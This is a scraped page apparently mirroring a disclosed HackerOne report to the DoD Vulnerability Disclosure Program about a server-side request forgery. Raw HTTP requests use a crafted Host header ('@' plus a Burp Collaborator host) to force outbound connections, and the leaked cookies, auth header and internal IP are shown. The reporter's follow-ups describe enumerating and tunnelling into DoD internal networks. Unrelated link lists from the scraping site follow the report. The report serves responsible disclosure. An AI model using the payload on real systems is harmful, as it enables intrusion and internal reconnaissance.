hackone ssrf
Jan 29th (2 years ago)
Summary:
A server side request forgery vulnerability appears to leak an internal IP address and tries to connect to an attacker controlled host.
Description:
In an normal request on this web pageGET /HTTP/1.1
It will connect to the website as expected but if we use a @ on the host header like this
Host: www.████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG; googtrans=/en/zh-TW
Connection: close
Upgrade-Insecure-Requests: 1
GET / HTTP/1.1
Host: www.█████████:80@██████████.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
It'll attempt to connect to our website and leak various information.
On our server we would see this,
GET / HTTP/1.1
Host: ████████.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG
X--------------: 1.1.1.1
Accept-Encoding: gzip, deflate, identity
Connection: Keep-Alive
Authorization: Basic d3d3LnZpLm5nYi5hcm15Lm1pbDo4MA==
X-BlueCoat-Via: 913daace1d652c00
Additionally we will see a DNS look up from this IP, 214.72.0.2 Which I confirmed to be DOD owned
Impact
Medium
Step-by-step Reproduction Instructions
We can reproduce this simply using www.████:80@yourhostname.com for the host header and we'll the see the results. As seen below
GET / HTTP/1.1
Host: www.████:80@yourwebsite.com
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
If you have burp suite pro, you can do this easily with burp collaborator
Product, Version, and Configuration (If applicable)
N/a
Suggested Mitigation/Remediation Actions
Refuse attempts to connect to other hosts.
Impact
This will allow attackers to gain access to an internal IP of a DOD website along with other sensitive information that may be leaked with the request

Jan 29th (2 years ago)
Greetings from the Department of Defense (DoD),
Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).
By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.
The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.
We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.
Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.
Regards,
The VDP Team

Updated Feb 7th (2 years ago)
Greetings @alyssa_herrera,
To validate the reported vulnerability, we require additional information.
Can you please answer the following questions?
Which information do you deem sensitive? Also please provide screenshot(s) or screen recording to illustrate the issue so we can clearly understand the issue you are reporting.
I will continue processing your report on receipt of your response. You will receive another status update upon completion of this review. If I have any other questions in the interim, I will be back in touch.
If we do not receive a response within two weeks, we will send you a second request for this information. If we do not receive a response from you within two weeks of the second notice, we will have to close this report without action.
If you have any questions, please let me know.
Thanks again for supporting the DoD Vulnerability Disclosure Program.
Regards,
Updated Oct 11th (2 months ago)
This is quite similar to #277450 and with the same issue.
Whois for both ip's
Source: whois.arin.net
IP Address: ██████
Name: ███
Handle: ███████
Registration Date: █████
Range: ████
Org: ████████
Org Handle: ███
Address: ██████
City: ████████
State/Province: ████
Postal Code: █████
Country: United States
Name Servers:
Source: whois.arin.net
IP Address: █████
Name: ███
Handle: ███
Registration Date: █████
Range: ████
Org: Headquarters, █████████
Org Handle: ████████
Address: ████
City: ███
State/Province: ███████
Postal Code: █████
Country: United States
Name Servers:

Feb 7th (2 years ago)
Greetings,
We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.
Thank you for bringing this vulnerability to our attention!
We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.
You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.
Thanks again for supporting the DoD Vulnerability Disclosure Program.
Regards,
The VDP Team
Updated Oct 11th (2 months ago)
Hello, i'd like to give a bit of an update on this exploit. I figured out we can perform blind SSRF using this exploit.
If we use an https enabled website, We can trigger an SSL error which leads me to believe this website has the necessary capability to connect to other military websites either through the intranet or through clearnet. If we can query known military DNS it'll time out confirming it exists. I can do this with any DoD IP thus an attacker can enumerate the DoD internal infrastructure. I hope this is enough to bump the severity up a bit. Additionally We can use an IP I was able to pull from another report of mine to prove this theory,
If we use www.██████████:80@████████
We can use this to tunnel into internal networks and access intranet servers which I assume is accessible to NIPERNET if my understanding of the DoD intranet is correct

Oct 24th (about 1 year ago)
Good news!
The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.
Thank you for your time and effort to improve the security of the DoD information network.
Regards,
The VDP Team

Dec 3rd (2 days ago)
Approved for disclosure. Thanks for your participation in the DoD Vulnerability Disclosure Program (VDP). Please follow us on Twitter @DC3VDP
hackone ssrf的更多相关文章
- SSRF篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.( ...
- SSRF安全威胁在JAVA代码中的应用
如上图所示代码,在进行外部url调用的时候,引入了SSRF检测:ssrfChecker.checkUrlWithoutConnection(url)机制. SSRF安全威胁: 很多web应用都提供 ...
- web安全之ssrf
ssrf(服务器端请求伪造)原理: 攻击者构造形成由服务端发起请求的一个漏洞.把服务端当作跳板来攻击其他服务,SSRF的攻击目标一般是外网无法访问到的内网 当服务端提供了从其他服务器获取数据的功能(如 ...
- SSRF攻击实例解析
ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为 ...
- WebLogic SSRF 漏洞 (简要翻译)
[Ref]http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cv ...
- SSRF漏洞学习
SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...
- SSRF漏洞总结
SSRF漏洞:(服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为它是由服务端发起的,所以它能够请求到与它相连而 ...
- 浅谈SSRF漏洞
SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF是要目标网站 ...
- Discuz!另一处SSRF无须登陆无须条件
漏洞来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0151179.html 看看poc:http://phpstudy.com/Discuz_ ...
随机推荐
- Java——Spring依赖配置详解
<properties> <junit.version>4.12</junit.version> <spring.version>4.3.9.RELEA ...
- N - Marriage Match II 网络流
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=3081 推荐博客:https://www.cnblogs.com/liuxin13/p/4728131. ...
- 从零开始学习docker之在docker中搭建redis(集群)
docker搭建redis集群 docker-compose是以多容器的方式启动,非常适合用来启动集群 一.环境准备 云环境:CentOS 7.6 64位 二.安装docker-compose #需要 ...
- Prime Path素数筛与BFS动态规划
埃拉托斯特尼筛法(sieve of Eratosthenes ) 是古希腊数学家埃拉托斯特尼发明的计算素数的方法.对于求解不大于n的所有素数,我们先找出sqrt(n)内的所有素数p1到pk,其中k = ...
- 前端自适应样式reset.css
@charset "utf-8"; /* CSS Document */ html, body, ul, li, ol, dl, dd, dt, p, h1, h2, h3, h4 ...
- 【Linux基础总结】Linux系统管理
Linux系统管理 Linux磁盘管理命令.内存查看命令讲解 系统信息 查看系统 $ uname 查看系统版本号 $ uname -r 查看cpu信息 $ cat /proc/cpuinfo 查看内存 ...
- html5 canvas 绘制上下浮动的字体
绘制上下浮动的字体主要思想为先绘制好需要的字体,每隔一定的时间将画布清空,然后再将字体位置改变再绘制上去 如此循环即可. (function(window) { var flowLogo = func ...
- Elasticsearch URI search 查询语法整理
Elasticsearch URI search 一.请求体查询与空查询 1. 请求体查询(request body search) 简单查询语句(lite)是一种有效的命令行adhoc查询.但是,如 ...
- windows上docker部署springboot多实例
前提条件: 1.可以运行jar包的环境2.机器上已经安装了docker3.准备部署的springboot的jar包4.Dockerfile文件 准备Dockerfile FROM java:8 VOL ...
- xshell密钥登录服务器
其实很简单 1 xshell 生成pub key . 在工具 -> 用户密钥管理. 生成 .另存为id_rsa_1024.pub 2.服务器上ssh-keygen 3.将生成的文件id_rsa_ ...